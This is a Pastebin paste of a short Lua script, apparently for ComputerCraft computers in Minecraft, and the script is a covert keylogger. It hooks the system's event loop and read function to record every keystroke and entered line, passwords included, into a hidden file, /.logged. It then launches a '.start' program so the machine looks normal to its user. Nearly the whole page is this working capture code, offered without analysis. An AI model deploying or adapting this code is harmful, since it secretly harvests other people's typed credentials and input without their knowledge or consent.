Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- [[ CREATED BY ALAKAZARD12 ]] --
- ---------- [[ Script ]] ----------
- local oldr = read
- local oldPE = os.pullEventRaw
- function loge(txt)
- local olr = ""
- if fs.exists("/.logged") then
- local li = fs.open("/.logged", "r")
- olr = li.readAll()
- li.close()
- end
- local lo = fs.open("/.logged", "w")
- lo.write(olr.."\n"..txt)
- lo.close()
- os.pullEvent = PE
- end
- local lastK = nil
- local typing = ""
- function PE(tt)
- local e, a1, a2, a3, a4, a5 = oldPE(tt)
- if e == "char" then
- typing = typing..a1
- end
- if e == "key" then
- if a1 == 28 then
- loge("ENTER: "..typing)
- typing = ""
- end
- lastK = a1
- end
- return e, a1, a2, a3, a4, a5
- end
- os.pullEventRaw = PE
- function read(txt)
- local thm = oldr(txt)
- loge("Read: "..thm)
- os.pullEvent = PE
- return thm
- end
- shell.run(".start")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement